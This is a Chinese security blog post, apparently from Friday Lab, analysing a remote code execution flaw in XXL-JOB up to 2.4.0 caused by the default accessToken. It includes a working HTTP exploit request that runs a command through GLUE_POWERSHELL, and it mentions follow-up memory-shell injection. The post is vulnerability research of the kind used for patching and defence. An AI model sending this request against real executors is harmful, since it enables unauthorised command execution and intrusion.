星期五实验室
阅读须知
星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。
星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
1. xxl-job介绍
XXL-JOB
是一个轻量级分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。
以上描述来源于官网:https://www.xuxueli.com/xxl-job/
2. 漏洞描述
最近新版xxl-job
爆出默认token
可导致rce漏洞,这个漏洞和之前的rce
利用是一致的,只是在2.4.0
后的版本上,在executor
服务上加了token
校验,在未更改accessToken
的情况下导致的rce
。
3. 影响范围
目前影响<= 2.4.0
4. 漏洞复现
项目地址:https://github.com/xuxueli/xxl-job/releases/tag/2.4.0
下载后导入idea
,配置好数据库后即可启动:
启动服务,本身存在两个服务,一个是admin
的控制台,另一个是executor
的执行器,两个都启动(虽然和admin
无关)。
POST /run HTTP/1.1
Host: 10.30.0.189:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 358
{
"jobId": 200,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
burp
发包:先去掉XXL-JOB-ACCESS-TOKEN: default_token
:
爆500
错误,access token
错误。
添加默认token
:windows
下用的GLUE_POWERSHELL
5. 漏洞分析
原因说的很明确了,漏洞点是由于accessToken
未更改导致的,即硬编码问题。
大概跟了一下其中的执行流程,http-server
服务是通过netty实现的(注入内存马需要关注这个点)。在com.xxl.job.core.server.EmbedServer
实现的netty-server
端,一个ChannelHandler
:
入口点在这个类的channelRead0
方法中,在run
下调用process
,参数就是一个正常的HTTP
请求,也就是burp
发包的那段内容。其中会从header
获取accessToken
,也会作为第四个参数传进去,跟进process
:
首先是三个if
判断,判断是否为POST
、请求的url
是否为空、accessToken
是否为空并与application.properties
中设置的token
比较是否相同,这个漏洞也就是这个地方。
满足条件后在根据uri
判断进入/run
(我们请求的uri
就是/run
),继续跟进run
方法:
com.xxl.job.core.biz.impl.ExecutorBizImpl#run
这里就是调用executor
核心方法了,主要是判断GlueType
,漏洞的触发其实就是因为GlueType
导致的,比如我们这里是GLUE_POWERSHELL,
就是调用ps1
脚本执行。
在其中有很多GlueType
,基于Java
的groovy
、python
、php
、nodejs
等,试了一下调用其中任意一个都能导致rce
:
这就是整个流程。
比如换个GLUE
,用GLUE_GROOVY
同样Rce
:
这里也能为后面深入利用注入内存马作为突破口。
6. 关于jobId冲突的问题
但实际上在测试时会有一个问题,比如我当前执行calc
后,改变命令执行的方式为whoami
,不做其他改变发包后他仍然会弹计算器。
这个现象会严重影响后面的深入利用,造成严重错误。
当尝试将jobId
更换之后,便能解决这个问题。那么是什么原因呢?
最后浏览了一下源码,发现在Executor
中为了避免重复,在其中维护了一个Queue
,这个Queue
是根据jobId
为索引存储,对应的是JobTread
比如这里我当前jobId
为2004
,而在jobThreadRepository
(一个HashMap
)中已经有上一次执行的jobId-2003
,也就是上一次执行的JobTread
,如果我的jobId
没有改变,依然是上一次的2003
,那么直接会返回上一次的JobTread
,也就是oldJobTread
。
7. 关于深入利用
若是该环境在内网或不出网环境,又该如何利用?
比较方便的做法是打入冰蝎内存马,大致的实现方式有打Java Agent
内存马和注入Netty
内存马,两者的利用方式本身存在很大的不同。
FRIDAY LAB
星期五实验室成立于2017年,汇集众多技术研究人员,在工业互联网安全前瞻技术研究方向上不断进取。星期五实验室由海内外知名高校的学院精英及来自于顶尖企业的行业专家组成,且大部分人员来自国际领先、国内知名的黑客战队——浙大AAA战队。作为木链科技专业的技术研发团队,星期五实验室凭借精湛的专业技术水平,为产品研发提供新思路、为行业技术革新探索新方向。
扫二维码|关注我们
星期五实验室
FRIDAY LAB
原文始发于微信公众号(星期五实验室):XXL-JOB 默认 accessToken 身份绕过致RCE分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论